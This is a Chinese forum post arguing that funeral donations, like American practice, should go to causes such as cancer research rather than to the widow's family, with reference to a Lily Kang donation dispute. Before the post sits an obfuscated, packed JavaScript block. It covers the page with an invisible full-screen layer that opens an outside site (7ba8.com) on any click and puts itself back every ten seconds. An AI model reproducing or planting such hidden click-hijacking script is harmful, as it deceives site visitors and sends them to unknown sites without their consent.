<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>最近Lily Kang捐款事件让我意识到中美对于葬礼捐款的意识分歧，也许能给各位一点儿启发（如果有网友已经提到，请恕我重复）。
各位在公司应该也经常收到email，谁的亲戚去世了，要举办葬礼，并设捐款。但是捐款一般都是for the cause。 一般癌症死亡的，都捐American Cancer Society 或者攻克癌症医学研究机构；正常死亡的要么用捐款设立奖学金，要么捐给死者生前所属的协会，社区，等等。很少听说捐给本人家庭的。当然，私下里是否有人表示一下慰问，不得而知（感觉大多都是结婚生孩子给点儿意思意思），但是捐款一般都是给别人的。
我想这位Lily女士不论家庭状况如何，可能考虑孩子和自己家庭确实多了点儿。如果真是好人，设身处地为他人着想，应该能够理解如果其他人也因为癌症失去亲人是多么的痛苦，所以应该募捐，但是捐款对象应该是癌症研究，使癌症不再夺取他人的生命。我想，如果伊先生在天有灵，这应该也是他的愿望。毕竟，钱能使遗孀过上体面（甚至超过一般工薪阶层）的生活，但是亲人的陪伴才是最重要的。我想，如果让Lily选，要钱还是要老公，那肯定是要老公，即使舍弃全家财产，欠一屁股债，也要一家人团聚的，是吧。
想通了这一点，我想大家就不必再在捐款上争执不休了吧。他山之石，可以攻玉。借鉴一下老美的葬礼捐款思路，也许更能够推动我们老中的慈善意识，和奉献精神。从而也能形成一个良性的慈善循环 |
收藏